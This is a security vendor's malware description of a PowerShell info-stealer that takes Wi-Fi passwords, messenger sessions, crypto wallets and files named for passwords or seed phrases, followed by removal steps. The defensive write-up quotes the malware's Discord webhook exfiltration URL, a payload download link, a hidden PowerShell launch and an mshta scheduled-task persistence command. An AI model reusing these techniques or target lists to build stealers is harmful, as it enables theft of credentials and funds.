TrojanSpy.PS1.HUGLOGGER.THHAFBC
Windows
Threat Type: Trojan Spy
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
28,456 bytes
PS1
Yes
16 Aug 2023
Collects system information, Connects to URLs/IPs, Drops files, Steals information, Terminates processes
Arrival Details
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan Spy adds the following folders:
- %User Temp%\element-session → Deletes after execution
- %User Temp%\signal-session → Deletes after execution
- %User Temp%\steam-session → Deletes after execution
- %User Temp%\Crypto Wallets → Deletes after execution
- %User Temp%\Crypto Wallets\Armory → Deletes after execution
- %User Temp%\Crypto Wallets\Atomic → Deletes after execution
- %User Temp%\Crypto Wallets\Bitcoin → Deletes after execution
- %User Temp%\Crypto Wallets\Bytecoin → Deletes after execution
- %User Temp%\Crypto Wallets\Coinomi → Deletes after execution
- %User Temp%\Crypto Wallets\Dash → Deletes after execution
- %User Temp%\Crypto Wallets\Electrum → Deletes after execution
- %User Temp%\Crypto Wallets\Ethereum → Deletes after execution
- %User Temp%\Crypto Wallets\Exodus → Deletes after execution
- %User Temp%\Crypto Wallets\Guarda → Deletes after execution
- %User Temp%\Crypto Wallets\Liberty.jaxx → Deletes after execution
- %User Temp%\Crypto Wallets\Litecoin → Deletes after execution
- %User Temp%\Crypto Wallets\Monero → Deletes after execution
- %User Temp%\Crypto Wallets\Zcash → Deletes after execution
- %User Temp%\Crypto Wallets\Thunder → Deletes after execution
- %User Temp%\Files Grabber → Deletes after execution
- %User Temp%\SEG → Deletes after execution
- %Application Data%\SEG
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It drops the following copies of itself into the affected system:
- %Application Data%\SEG\SEG.ps1
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- %User Temp%\main.exe "https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T "
- Powershell.exe "-NoProfile -ExecutionPolicy Bypass -Windowstyle hidden -File '{malware File Path}'"
Autostart Technique
This Trojan Spy drops the following files:
- %User Temp%\ip.txt → contains the machine's IP address. Later moved to %User Temp\SEG\ip.txt
- %User Temp%\system_info.txt → contains system information. Later moved to %User Temp%\SEG\system_info.txt
- %User Temp%\uuid.txt → contains OS version, OS build number, Display version, Computer model, and UUID. Later moved to %User Temp%\SEG\uuid.txt
- %User Temp%\cpu.txt → contains CPU information. Later moved to %User Temp%\SEG\cpu.txt
- %User Temp%\GPU.txt → contains GPU information. Later moved to %User Temp%\SEG\GPU.txt
- %User Temp%\mac.txt → contains MAC address. Later moved to %User Temp%\SEG\mac.txt
- %User Temp%\netstat.txt → contains network information. Later moved to %User Temp%\SEG\netstat.txt
- %User Temp%\WIFIPasswords.txt → Contains WIFI passwords. Later moved to %User Temp%\SEG\WIFIPasswords.txt
- %User Temp%\StartUpApps.txt → Contains Startup Commands. Later moved to %User Temp%\SEG\StartUpApps.txt
- %User Temp%\running-services.txt →Contains list of running services. Later moved to %User Temp%\SEG\running-services.txt
- %User Temp%\running-application.txt →Contains list of running applications. Later moved to %User Temp%\SEG\running-application.txt
- %User Temp%\Installed-Application.txt →Contains lists of installed applications. Later moved to %User Temp%\SEG\Installed-Application.txt
- %User Temp%\NetworkAdapters.txt →Contains lists of Network adapters. Later moved to %User Temp%\SEG\NetworkAdapters.txt
- %User Temp%\telegram-session.zip →Contains gathered files from %Application Data%\Telegram Desktop\tdata. Later moved to %User Temp%\SEG\telegram-session.zip
- %User Temp%\element-session.zip →Contains gathered files from %Application Data%\Element. Later moved to %User Temp%\SEG\element-session.zip
- %User Temp%\signal-session.zip →Contains gathered files from %Application Data%\Signal. Later moved to %User Temp%\SEG\signal-session.zip
- %User Temp%\steam-session.zip →Contains gathered files from &Program Files%\Steam. Later moved to %User Temp%\SEG\steam-session.zip
- %User Temp%\desktop-screenshot.png →Screenshot of Desktop. Later moved to %User Temp%\SEG\desktop-screenshot.png
- %User Temp%\DiskInfo.txt → Contains gathered Disk information. Later moved to %User Temp%\SEG\DiskInfo.txt
- %User Temp%\ProductKey.txt→ Contains gathered Product keys. Later moved to %User Temp%\SEG\ProductKey.txt
- %User Temp%\main.exe → Deletes after execution
- %User Temp%\SEG-LOG.zip → Deletes after execution
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Process Termination
This Trojan Spy terminates the following processes if found running in the affected system's memory:
- Telegram
- Element
- Signal
- Steam
- Discord
- Discordcanary
- Discordptb
Download Routine
This Trojan Spy connects to the following website(s) to download and execute a malicious file:
- https://{BLOCKED}b.com/KDot227/Powershell-Token-Grabber/releases/download/V4.1/main.exe
Information Theft
This Trojan Spy gathers the following data:
- Machine's IP address
- System information
- OS version
- OS Build number
- Display Version
- Computer Model
- UUID
- CPU
- GPU
- Total physical RAM
- MAC address
- Username
- Hostname
- Network information
- Manufacturer information of the machine
- Date and Time
- Boot up time
- List of Installed Anti Virus Products
- WIFI Passwords
- Screen Resolution
- Startup commands
- Running Process
- Running Services
- Installed Applications
- Network Adapters
- Files from Telegram directory
- Files from Element directory
- Files from Signal Directory
- Files from Steam Directory
- Desktop Screenshot
- Drive name
- Volume name
- Total Drive Size
- Used Drive Size
- Free Drive Size
- Product Key
- It gathers credentials from the following:
- Thunderbird
- CryptoWallets:
- Armory
- Atomic
- Bitcoin
- Bytecoin
- Coinomi
- Dash
- Electrum
- Ethereum
- Exodus
- Guarda
- Liberty.jaxx
- Litecoin
- Monero
- Zcash
Stolen Information
This Trojan Spy sends the gathered information via HTTP POST to the following URL:
- https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T
Other Details
This Trojan Spy connects to the following URL(s) to get the affected system's IP address:
- https://{BLOCKED}fy.org
It does the following:
- Hide its console window upon execution
- Copy files from the directories %User Profile%\Downloads, %User Profile%\Documents, and %User Profile%\Desktop to %User Temp%\FilesGrabber, following these conditions:
- Contains the following strings in their name:
- Accounts
- Login
- Metamask
- Crypto
- Code
- Coinbase
- Exodus
- Backupcode
- Token
- Seedphrase
- Private
- Pw
- Lastpass
- Keepass
- Keepassxc
- Nordpass
- Syncthing
- Dashlane
- Bitwarden
- Memo
- Keys
- Secret
- Recovery
- 2fa
- Pass
- Login
- Backup
- Discord
- Paypal
- Wallet
- With the following extension:
- .txt
- .doc
- .csv
- .rtf
- .docx
- With the following file size:
- Less than 5MB
- Deletes the following files if found in the machine:
- %Application Data%\DiscordTokenProtector\DiscordTokenProtector.exe
- %Application Data%\DiscordTokenProtector\secure.dat
- Exclude the following directory to be scanned by Windows Defender:
- %User Temp%
- %Application Data%\SEG
- Terminates itself if the following processes are found:
- Autoruns
- Autorunsc
- Dumpcap
- Fiddler
- Fakenet
- Hookexplorer
- Immunitydebugger
- Httpdebugger
- Importrec
- Lordpe
- Petools
- Processhacker
- Scylla_x64
- Sandman
- Sysinspector
- Tcpview
- Die
- Dumpcap
- Filemon
- Idaq
- Idaq64
- Joeboxcontrol
- Joeboxserver
- Ollydbg
- Proc_analyzer
- Procexp
- Procmon
- Pestudio
- Qemu-ga
- Qga
- Regmon
- Sniff_hit
- Sysanalyzer
- Tcpview
- Windbg
- Wireshark
- X32dbg
- X64dbg
- Vmwareuser
- Vmacthlp
- Vboxservice
- Vboxtray
- Xenservice
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following scheduled tasks:
- Name: SEG
- Trigger: AtLogon
- Action: mshta.exe 'vbsript:createobject("wscript.shell").run("Powershell.exe -ExecutionPolicy Bypass -File "%appdata%\SEG\SEG.ps1",0)(window.close)'
SOLUTION
9.800
18.638.02
16 Aug 2023
18.639.00
17 Aug 2023
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Deleting Scheduled Tasks while in Safe Mode
- Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
- Task Name: SEG
- Task to be run: mshta.exe 'vbsript:createobject(wscript.shell).run(Powershell.exe -ExecutionPolicy Bypass -File %appdata%\SEG\SEG.ps1,0)(window.close)'
- For Windows 7 and Server 2008 (R2) users, click Start>Computer.
- For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
- In the Search Computer/This PC input box, type:
- %System%\Tasks\{Task Name}
- Once located, select the file then press SHIFT+DELETE to delete it.
- Open Registry Editor. To do this:
- For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
- For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
- In the left panel of the Registry Editor window, double-click the following:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
- Locate the created entry and take note of the registry value's data:
- ID={Task Data}
- After taking note of the data, delete the registry key:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
- In the left panel of the Registry Editor window, double-click the following:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
- Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
- ={Task Data}
- Close Registry Editor.
Step 5
Search and delete this file
- %Application Data%\SEG\SEG.ps1
Step 6
Search and delete this folder
- %Application Data%\SEG
Step 7
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.PS1.HUGLOGGER.THHAFBC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 8
Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.PS1.HUGLOGGER.THHAFBC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.